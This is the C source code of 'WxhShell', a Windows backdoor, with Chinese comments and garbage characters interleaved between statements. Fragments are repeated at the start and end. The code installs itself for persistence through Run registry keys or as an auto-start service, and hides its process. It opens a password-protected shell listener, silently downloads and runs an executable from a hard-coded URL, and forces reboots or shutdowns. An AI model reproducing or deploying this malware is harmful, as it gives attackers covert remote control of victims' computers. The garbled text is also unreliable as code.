up[d( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hDoFF8)c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gCL}Ba 4`V&Yqwl HANDLE hProcess; wYS r.T8Q PROCESS_BASIC_INFORMATION pbi; BG4TUt l\m7~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'c/8|9jX if(NULL == hInst ) return 0; M3d%$q)<rW x
FvKjO) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dgByl-8Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8{&.[SC7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j39"iAn u?z,Vs" if (!NtQueryInformationProcess) return 0; =yJV8%pa va#].4_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nd;pkssd if(!hProcess) return 0; R$eEW"] 7coVl$_Zl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zqXDD; w3 r#}o
+3* CloseHandle(hProcess); ET*:iioP GJ?J6@| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~e]l if(hProcess==NULL) return 0; Ak}`zIo -\Z`+k Y?p HMODULE hMod; Qo(<>d char procName[255]; -Vmp6XY3q unsigned long cbNeeded; ,x3<a}J NJ$Qm.S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f&Sovuuh #z*,-EV| CloseHandle(hProcess); 3^)c5kcI anKflt3 if(strstr(procName,"services")) return 1; // 以服务启动 ?ZhBS3L TOvsW<cM return 0; // 注册表启动 nF,zWr[x } ),%@X G;pc,\MF // 主模块 PVQn$-aq1 int StartWxhshell(LPSTR lpCmdLine) EyV5FWb58 { &-vHb SOCKET wsl; }4,[oD BOOL val=TRUE; zSOZr2-
^a int port=0; ?;_Mx al' struct sockaddr_in door; +QSH*(, :hf%6N='kI if(wscfg.ws_autoins) Install(); x97L>>| W:}t%agis port=atoi(lpCmdLine); ATV|M[B &!+1GI9z
if(port<=0) port=wscfg.ws_port; <)L[V j97K\]tQ WSADATA data; yZmeke)_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6OtNWbB *m'&<pg]X if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?|Wxqo setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 95/;II door.sin_family = AF_INET; A=D
G+z'' door.sin_addr.s_addr = inet_addr("127.0.0.1"); SK@lr door.sin_port = htons(port); "SC]G22 7PO]\X^(zE if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <c,iu{: closesocket(wsl); 6>'>BamX return 1; aCfWbJ@qiG } (r1"!~d@ SEM-t if(listen(wsl,2) == INVALID_SOCKET) { Pn?gB}l closesocket(wsl); }JUc!cH8z return 1; ')WS :\J } 2UBAk')O} Wxhshell(wsl); T-js* WSACleanup(); A#F6~QX(.9 u3jLe=Y'\ return 0; !G'wC0 &}_tALg } )~w
bu2; )L"J?wTe // 以NT服务方式启动 qE6D"+1y7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cNy*< Tv { W$gjcsv DWORD status = 0; (|tR>R.Wxg DWORD specificError = 0xfffffff; sv!6zJs [| C serviceStatus.dwServiceType = SERVICE_WIN32; zgxMDLH serviceStatus.dwCurrentState = SERVICE_START_PENDING; &mba{O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Fx~M,Pzg serviceStatus.dwWin32ExitCode = 0; PaDm"+H@ serviceStatus.dwServiceSpecificExitCode = 0; =<P$mFP2* serviceStatus.dwCheckPoint = 0; 8xoC9!xt serviceStatus.dwWaitHint = 0; ^>y|{;` \rH0=~F-P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0p*Oxsy if (hServiceStatusHandle==0) return; w)>/fG|; $WQm"WAKe status = GetLastError(); HoZsDs.XZ if (status!=NO_ERROR) x*:"G'zT { u*T#? W? serviceStatus.dwCurrentState = SERVICE_STOPPED; 8;3I:z&muQ serviceStatus.dwCheckPoint = 0; V#~.n;d serviceStatus.dwWaitHint = 0; &i*e&{L7 serviceStatus.dwWin32ExitCode = status; B\~(:(OPM] serviceStatus.dwServiceSpecificExitCode = specificError; QC1\Sn / SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2FN# 63 return; {C%f~j } TO/SiOd @Fb
2c0?Y serviceStatus.dwCurrentState = SERVICE_RUNNING; zRm@ |IT serviceStatus.dwCheckPoint = 0; }%3i8e serviceStatus.dwWaitHint = 0; [q|8.>sB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w6AG:u } xr^fP~V|)0 Ye/Y<Ij // 处理NT服务事件,比如:启动、停止 NU3s^ 8\( VOID WINAPI NTServiceHandler(DWORD fdwControl) f!B\X*| { A%EGu4 switch(fdwControl) ;a(7% { AaM~B`B case SERVICE_CONTROL_STOP: ERfSJ serviceStatus.dwWin32ExitCode = 0; -Y>QKS serviceStatus.dwCurrentState = SERVICE_STOPPED; 'lgS;ItpKu serviceStatus.dwCheckPoint = 0; VH~ZDZ1P serviceStatus.dwWaitHint = 0; `I(5Aj" { l~x
6R~q SetServiceStatus(hServiceStatusHandle, &serviceStatus); E/C3t2@- } \"+}-!wr return; H<l0]-S{ case SERVICE_CONTROL_PAUSE: <07~EP serviceStatus.dwCurrentState = SERVICE_PAUSED; fTi5Ej*/?) break; }x"8v&3CM_ case SERVICE_CONTROL_CONTINUE: jf=90eJc serviceStatus.dwCurrentState = SERVICE_RUNNING; #\6k_toZ break; yONX?cS case SERVICE_CONTROL_INTERROGATE: GP=bp_L break; l0%7u }; x!fRT.,} SetServiceStatus(hServiceStatusHandle, &serviceStatus); <,&t}7M/: } 2bOFH6g J>+~//C // 标准应用程序主函数 zHXb[$Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pH396GFIW { 4BJ w+EV8 V"A*B // 获取操作系统版本 #ahe@|E'Y OsIsNt=GetOsVer(); z+j3j2 GetModuleFileName(NULL,ExeFile,MAX_PATH); 7C~g?1 $T*g@] // 从命令行安装 8HDI] if(strpbrk(lpCmdLine,"iI")) Install(); ^B(:Hv}G(: Z07SK 'U // 下载执行文件 cXt]55" if(wscfg.ws_downexe) { TcH7!fUj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
YS>VQl WinExec(wscfg.ws_filenam,SW_HIDE); Ka8Bed3 } GOX2'N\h^ fczH^+mI if(!OsIsNt) { !PEP`wEKdp // 如果时win9x,隐藏进程并且设置为注册表启动 e @|uG % HideProc(); -D
wO*f StartWxhshell(lpCmdLine); Ots] y } S\6.vw!' else `m-7L if(StartFromService()) E~`<n]{G-C // 以服务方式启动 LC0g"{M StartServiceCtrlDispatcher(DispatchTable); ]KQBek#DD else ]fU0;jzX // 普通方式启动 ,veI'WHMB StartWxhshell(lpCmdLine); -K0!wrKC F>aaUj return 0; }J_#N.y } #$u7:p
[t ^dKtUH/78G lR5k1J1n (6i.>%|_ =========================================== =la~D]T*g ;2547b[] @E?o~jO(e &xS]
;Fr mz3Dt> ;<BMgO}N " 'I@l$H o AM)<#U> #include <stdio.h> P"Y7N?\]( #include <string.h> TL: 6Pe #include <windows.h> R(GL{Dh}L #include <winsock2.h> +3r4GEa
Z #include <winsvc.h> +w(B9rH #include <urlmon.h> 6f;20dn6 m@g9+7 #pragma comment (lib, "Ws2_32.lib") EskD)Sl #pragma comment (lib, "urlmon.lib") OTWp,$YA= @}_Wl<kn #define MAX_USER 100 // 最大客户端连接数 Z':w
X #define BUF_SOCK 200 // sock buffer %kV #UzL #define KEY_BUFF 255 // 输入 buffer 4X$|jGQ\ = Tq\Ag: #define REBOOT 0 // 重启 GNoUn7Y #define SHUTDOWN 1 // 关机 uX+ YH 8]l(D #define DEF_PORT 5000 // 监听端口 \s,~|0_V $u::(s}
x< #define REG_LEN 16 // 注册表键长度 mN1n/LNi #define SVC_LEN 80 // NT服务名长度 '~AR|8q? tIo
b // 从dll定义API ^8
cq
qu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ulNMqz\. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J,t`ilT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lwkl* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^NFL3v8 {,e-;2q // wxhshell配置信息 VH<-||X/4 struct WSCFG { .c\iKc# int ws_port; // 监听端口 S.*LsrSV char ws_passstr[REG_LEN]; // 口令 _''9-t;n, int ws_autoins; // 安装标记, 1=yes 0=no k6(0:/C char ws_regname[REG_LEN]; // 注册表键名 l6pvQ| char ws_svcname[REG_LEN]; // 服务名 v`r*Yok;` char ws_svcdisp[SVC_LEN]; // 服务显示名 |L(h+/>aWX char ws_svcdesc[SVC_LEN]; // 服务描述信息 T<o8lL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *JiI>[ int ws_downexe; // 下载执行标记, 1=yes 0=no qR9!DQc' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uevhW
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xt$Y&Ho \?"kT}.. }; N) f<3lxu // default Wxhshell configuration af}JS2=$ struct WSCFG wscfg={DEF_PORT, E[c6*I "xuhuanlingzhe", Dh)(?"^9A 1, REJHh\:.77 "Wxhshell", #bGYd}BfD "Wxhshell", WUGFo$xA "WxhShell Service", %8?XOkH) "Wrsky Windows CmdShell Service", \n^;r|J7k "Please Input Your Password: ", mQ^SpK # 1, xtzkgb,0[ "http://www.wrsky.com/wxhshell.exe", U i`#B "Wxhshell.exe" >lF@M- }; ricL.[v9S TPNKvv!s // 消息定义模块 ev1:0P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rYrvd[/*&( char *msg_ws_prompt="\n\r? for help\n\r#>"; %;b] k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .a 9f)^ char *msg_ws_ext="\n\rExit."; v>0} v)<v char *msg_ws_end="\n\rQuit."; wx_j)Wij6 char *msg_ws_boot="\n\rReboot..."; - 9a4ej5 char *msg_ws_poff="\n\rShutdown...";
fxc?+<P char *msg_ws_down="\n\rSave to "; "0J;H#Y"# <l<6W-I char *msg_ws_err="\n\rErr!"; yBfX4aH:` char *msg_ws_ok="\n\rOK!"; $
U-#woXa Mt&n|']`8 char ExeFile[MAX_PATH]; 'q1cc5(ueV int nUser = 0; +nL#c{ HANDLE handles[MAX_USER]; j5rMY=|F int OsIsNt; {pC$jd>T O6Y1*XTmH6 SERVICE_STATUS serviceStatus; TEi1,yc SERVICE_STATUS_HANDLE hServiceStatusHandle; ?b\oM
v5y Z=(Tq1t // 函数声明 q I*7ToBJ int Install(void); hp}JKj@ int Uninstall(void); -!IeP]n#P int DownloadFile(char *sURL, SOCKET wsh); t)4]2z)$ int Boot(int flag); =A(Az void HideProc(void); XzPUll;ZU int GetOsVer(void); <aY>fg d/1 int Wxhshell(SOCKET wsl); R]4
h)" void TalkWithClient(void *cs); ~"r(PCa@ int CmdShell(SOCKET sock); >S]"-0tGD= int StartFromService(void); D+{&zo int StartWxhshell(LPSTR lpCmdLine); ~#7uNH2 H/ar:j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \w)ddc!ZS VOID WINAPI NTServiceHandler( DWORD fdwControl ); \f@obp `@ 8O|j // 数据结构和表定义 D7g
B% SERVICE_TABLE_ENTRY DispatchTable[] = -@.FnFa { `bF4/iBW {wscfg.ws_svcname, NTServiceMain}, 0U?(EJ {NULL, NULL} 5RyxVC0< }; /ACau<U]t XHh*6Yt_ ( // 自我安装
I!T=$Um int Install(void) b"w@am>& { e'.CIspN char svExeFile[MAX_PATH]; C]Q}HI#G HKEY key; P 2)/!+`a strcpy(svExeFile,ExeFile); 3ej[ ^#U[v7y // 如果是win9x系统,修改注册表设为自启动 se*k56, if(!OsIsNt) { >v)V2,P
- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Df2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \=Od1 i RegCloseKey(key); hp@F\9j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \cK# /;a# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q+s2S>U{v RegCloseKey(key); AOef1^S= return 0; ~vcua@ } ^0?ww&X } v
,zD52 } 15d'/f else { -K/c~'%'* f6 s .xQ // 如果是NT以上系统,安装为系统服务 9U Hh#
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *bUOd'vh if (schSCManager!=0) gyxC)br { p$cb&NNh*H SC_HANDLE schService = CreateService i!iG7X)qT ( $@84nR{> schSCManager, v>_83P` wscfg.ws_svcname, 8~3I^I_v wscfg.ws_svcdisp, G+<id1 SERVICE_ALL_ACCESS, ??lsv(v- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t :~,7 SERVICE_AUTO_START, l[C_vUg SERVICE_ERROR_NORMAL, TSVlZy~Xo svExeFile, gH*(1* NULL, V=8npz NULL, J[c`Qq:&e NULL, OxUc,%e9P NULL, \\3 ?ij:v NULL Vq'n$k} ); h.kjJF if (schService!=0) U5p 3b; { `uC^"R(m CloseServiceHandle(schService); JF=T_SH^U CloseServiceHandle(schSCManager); z<gII~% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G!o6Y:1! strcat(svExeFile,wscfg.ws_svcname); I@TH^8( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PbFbihg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;te( {u+ RegCloseKey(key); 0[ (kFe return 0; a)I>Ns) } pJuD+v } [~c_Aa+6N CloseServiceHandle(schSCManager); v#e*RI2} } +.zX?} } J"$U$.W= Ctx>#uN6 return 1; 8,(--A } X"7x_yOZ @!^Y_q // 自我卸载 $k`j";8uR int Uninstall(void) 5
ed|]LP { (LJ7xoJ^ HKEY key; `ZT/lB` JP^\
if(!OsIsNt) { HDaeJk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6C/Pu!Sx? RegDeleteValue(key,wscfg.ws_regname); oTrit_@3 RegCloseKey(key); mP's4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BqUwvB4 RegDeleteValue(key,wscfg.ws_regname); `?SC.KT RegCloseKey(key); DuLl"w\_@ return 0; N1sdWXG } W }v
,6Oe } c'mg=jH } \:+ NVIN else { =woP~+ dI>cPqQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bh#6yvpMR if (schSCManager!=0) db&!t!#, { pl$wy}W- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ wDSED - if (schService!=0) |*M07Hc x { 9e.$x%7j if(DeleteService(schService)!=0) { ^%tn$4@@Z. CloseServiceHandle(schService); %e)?Mem CloseServiceHandle(schSCManager); 5\h 6' return 0; yXqC } y Pg0:o- CloseServiceHandle(schService); ;Sg,$`] } i0*Cs#(=h CloseServiceHandle(schSCManager); T Qx<lw } 57O|e/2 } IZ87Px>zL wQ[!~>A return 1; y]+[o1]-c } Mpco8b-b G~ LQM // 从指定url下载文件 @"wX#ot int DownloadFile(char *sURL, SOCKET wsh) /a)^) { LROrhO HRESULT hr; P1Eg%Y6 char seps[]= "/"; {u-J?(s} char *token; 6']G HDK char *file; O+/{[9s char myURL[MAX_PATH];
$&1D l char myFILE[MAX_PATH]; 3to!C"~\K- J^S!GG'gb strcpy(myURL,sURL); ,X;$-. token=strtok(myURL,seps); ydj*Jy' while(token!=NULL) g^7zDU&' { DtJ3`Jd file=token; yE(<F2 token=strtok(NULL,seps); lY2~{Y|4s } u J]uz% GG-b)64h` GetCurrentDirectory(MAX_PATH,myFILE); [:qJ1^U U strcat(myFILE, "\\"); f6nuh&!- strcat(myFILE, file); UZmo?&y send(wsh,myFILE,strlen(myFILE),0); d|)ARRW send(wsh,"...",3,0); #p]V? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uy~$
:0o if(hr==S_OK) IKaW],sr# return 0; =e0MEV#s. else Ye$;
d ~ return 1; 7G*rxn"d j}`ku9S~ } E1dhj3+3 >AY9F|: // 系统电源模块
+U%epq int Boot(int flag) =sefT@< { !ZvVj\{ HANDLE hToken; %d40us8 E TOKEN_PRIVILEGES tkp; ^f-)gZ& vK+!m~kDu if(OsIsNt) { .o,-a >jL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7FD,TJs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uI&0/ tkp.PrivilegeCount = 1; l!W!Gz0to tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (I(U23A~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /m,i,NX07 if(flag==REBOOT) { b\zq,0% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2(Yg',aMY- return 0; )?$@cvf } AK%&Kq&PaY else { cLvnLaA} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,?IXfJ`c return 0; G2 V$8lh } p#-=mXE/2 } mAY/J0_ else { QMmZvz\^ if(flag==REBOOT) { aBQ@n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qn{4AWmJ return 0; %s9*?6 } wZ69W$,p else { a/H5Y,b> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qFLt/
> return 0; _qpIdQBo } >{-rl@^H: } 6ecx!uc$ )8'v@8;- return 1; vILB$%I } mwN"Cu4t m7RyFnR2 // win9x进程隐藏模块 .j"heYF) void HideProc(void) x\yr~$}(J { ;]=@;? 9 JUXBMYFus HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (Q
^=^s| if ( hKernel != NULL ) w5rtYTI { 6c27X/'Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2PUB@B'
+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [;4ak)! FreeLibrary(hKernel); I9rQX9#B
} O8N1gf;t ~E_irzOFP return; c* ~0R? } *~cNUyd Ux{QYjFE // 获取操作系统版本
heB![N0: int GetOsVer(void) fA0wQz]u { 4>H0a OSVERSIONINFO winfo; U3v~R4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X56q,jCJ{ GetVersionEx(&winfo); &gJ@"`r4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |u$*'EsP return 1; w)1SZ} else WE_'u+!B return 0; sSD&'K=lq } yd'cLZd<} 7}~nQl2 // 客户端句柄模块 .x/H2r'1 int Wxhshell(SOCKET wsl) !vc5NKv#n { ~k?t SOCKET wsh; ;05lwP*r] struct sockaddr_in client; gbh/` DWORD myID; N1'Yo:_A xB?!nd while(nUser<MAX_USER) @{Fa=".Ch { l&"bm C:xr int nSize=sizeof(client); v&%W*M0q@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xdY'i0fh if(wsh==INVALID_SOCKET) return 1; I$)9T^Ra t\!5$P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0"+QWh if(handles[nUser]==0) iEy2z+/"^ closesocket(wsh); J
p%J02 else ;j(*:Nt1 nUser++; l^o>7 cM } R`@7f$;wG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a8%T*mk( +|K,\
{'U return 0; 8{{^pW?x
} p;R&h4H {l_D+B; // 关闭 socket ;eO Ye3;c void CloseIt(SOCKET wsh) gh"_,ZhZt { {_z6 closesocket(wsh); m}: X\G(6Q nUser--; d~QJ}a ExitThread(0); *tkf)[( } ]^{5` 0tMzVxS // 客户端请求句柄 V/R@=[ void TalkWithClient(void *cs) L;b-=mF { (5[#?_~ vt5>>rl SOCKET wsh=(SOCKET)cs; S_VzmCi char pwd[SVC_LEN]; /^&$ma\ char cmd[KEY_BUFF]; /jq"r-S" char chr[1]; irjHPuhcG int i,j; akHQ&+[j |L-- j while (nUser < MAX_USER) { I>-}ys`[ *]k E3 if(wscfg.ws_passstr) { r.:f.AY{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q?L*Luu+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wJvk //ZeroMemory(pwd,KEY_BUFF); G`;mSq6i i=0; F%{z EANm while(i<SVC_LEN) { b
Hy<`p0 [ei5QSL | // 设置超时 I9U
8@e!X fd_set FdRead; B8upv~U6 struct timeval TimeOut; ?q5HAIZ` FD_ZERO(&FdRead); JKCV>k FD_SET(wsh,&FdRead); Vt9o8naz TimeOut.tv_sec=8; mcQ\"9 ;pY TimeOut.tv_usec=0; 6jl{^dI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pMp@W`i^6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tm~jYgJ *t={9h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Wpd q( o pwd=chr[0]; R9+f^o`W if(chr[0]==0xd || chr[0]==0xa) { Ag1nxV1M$ pwd=0; W^3'9nYU break; (ijO|%? } MUN:}S i++; =3,Sjme } nXxnyom, )%!X, // 如果是非法用户,关闭 socket y G>sBc if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ WWi2cI; } n4ti{-^4|d 3|Ar~_] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I&x69 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ww{-(Ktx -r0oO~KT while(1) { 1;>RK xlW>3'uHfa ZeroMemory(cmd,KEY_BUFF); Me;Nn$'% lPl JL`e // 自动支持客户端 telnet标准 }yCgd 5+_ j=0; uuCVI2| while(j<KEY_BUFF) { ,l\D@<F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *I9G"R8 cmd[j]=chr[0]; kaCn@$ if(chr[0]==0xa || chr[0]==0xd) { W*4!A\K cmd[j]=0; er !+QD,EM break; 7G_lGV_ } Aca?C j++; |C t Q } <R#:K7>O w Kz*)C // 下载文件 8[8U49V9( if(strstr(cmd,"http://")) { jqoU;u` send(wsh,msg_ws_down,strlen(msg_ws_down),0); u)ZZ/| if(DownloadFile(cmd,wsh)) ['0^gN$:e send(wsh,msg_ws_err,strlen(msg_ws_err),0); IRI<no else c;R.rV< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8EI&}I } #8bI4J{dE else { uRw%`J4H Fd9Z7C switch(cmd[0]) { 7|?Ht] 6r,zOs-I] // 帮助 q.lh case '?': { 'wTJX> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WF<*rl break; +Nka,C^O" } ;!>>C0s" // 安装 /3~}= b case 'i': { sZU
Ao& if(Install()) tLx8}@X" send(wsh,msg_ws_err,strlen(msg_ws_err),0); h6(L22Hn else .O.fD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WJ]g7!Ks break; :#W>lq@H } w;^7FuBaC // 卸载 0'*'%Iga case 'r': { Cd7d-'EQn if(Uninstall()) 5cl%>U send(wsh,msg_ws_err,strlen(msg_ws_err),0); !E\J`K0_e else _Hq)mF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )i>T\B break; UX<0/"0h } 9'JkLgz;d+ // 显示 wxhshell 所在路径 DzCb'# case 'p': { ymyk.#Z<% char svExeFile[MAX_PATH]; !^A t{[U strcpy(svExeFile,"\n\r"); 2O9OEZdKB strcat(svExeFile,ExeFile); i{ /nHrN send(wsh,svExeFile,strlen(svExeFile),0); woK?td|/ break; 7PI|~Ifi } y]f| U-f:~ // 重启 ZbcpE~<a case 'b': { cY*lsBo send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J7rfHhz if(Boot(REBOOT)) cV)~%e/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); SkA"MhX else { '~'3x4Bo closesocket(wsh); @BXV>U2B{ ExitThread(0); tA{<)T } Tk4"qGC. break; [p_C?hHO } (*Y ENT} // 关机 *CXVA&? case 'd': { \(ZOt.3!J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t \C[mw if(Boot(SHUTDOWN)) YY<e]CriU send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q /\Hc else { gG=E2+=uy closesocket(wsh); bDPT1A`F ExitThread(0); gs77")K& } /-ky'S9 break; Z@`HFZJ } E^.
=^bR // 获取shell m,]M_y\u case 's': { _&m CmdShell(wsh); -vC?bumR% closesocket(wsh); }'
t*BaU ExitThread(0); ~UJ_Rr54 break; KcjP39@I } I*K~GXWs# // 退出 DavG=kvd case 'x': { th*E"@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JEes'H}Y CloseIt(wsh); z '%Vy break; 1{V* (=Tp } xTL"%'| // 离开 SLc'1{ case 'q': { 07+Qai-] send(wsh,msg_ws_end,strlen(msg_ws_end),0); <kmn3w,vi closesocket(wsh); w~g)Dz2G WSACleanup(); `4 A%BKYB exit(1); 1jozM"H7Q break; <tg>1,C } %/&?t`%H } vH#^ |u } Ofg-gCF8 ~(`iR xK // 提示信息 kSw.Q2ao if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~dK)U*Q } IPnbR)[% } VscEdtkd uIvE~< return; U{o0Posg } Hd)4_
uBt dLm~]V3 // shell模块句柄 =6TD3k6(2 int CmdShell(SOCKET sock) L%JmdY; { &a
p{|>3 STARTUPINFO si; j>Htaa ZeroMemory(&si,sizeof(si)); ^1S(6'a# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~$i36" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 70:a2m PROCESS_INFORMATION ProcessInfo; BUcze\+ char cmdline[]="cmd"; e;<=aa)}? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !285=cxz return 0; wvA@\-.+ } amIG9:-1' v>71?te // 自身启动模式 @DrMaTr int StartFromService(void) iVt6rX { x,z +l-y typedef struct NQ!jkojD { q8.K-"f(Q DWORD ExitStatus; MDS;qZx= DWORD PebBaseAddress; 0>m-J DWORD AffinityMask; aQaO.K2 DWORD BasePriority; u%S&EuX ULONG UniqueProcessId; M: qeqn+ ULONG InheritedFromUniqueProcessId; AjK'P<:/ } PROCESS_BASIC_INFORMATION; g#1_`gK Jn.WbS PROCNTQSIP NtQueryInformationProcess; g~Zel}h# ,\f!e#d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Q*L!/K+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nmVL%66K { CkxUec HANDLE hProcess; 5/Q^p" PROCESS_BASIC_INFORMATION pbi; <ok/2v ,&!Txyye HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n9Z|69W6> if(NULL == hInst ) return 0; ^e>`ob ]v3 9ag_hu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jYRwtP\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #!KbqRt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Kr?vD^nG v*1UNXU\ if (!NtQueryInformationProcess) return 0; >9(lFh0P [C)-=.Xx)j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Be+vC=\K if(!hProcess) return 0; $z]gy]F C w`v\
9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E3y" g&H6~ +\ CloseHandle(hProcess); `6b!W0$
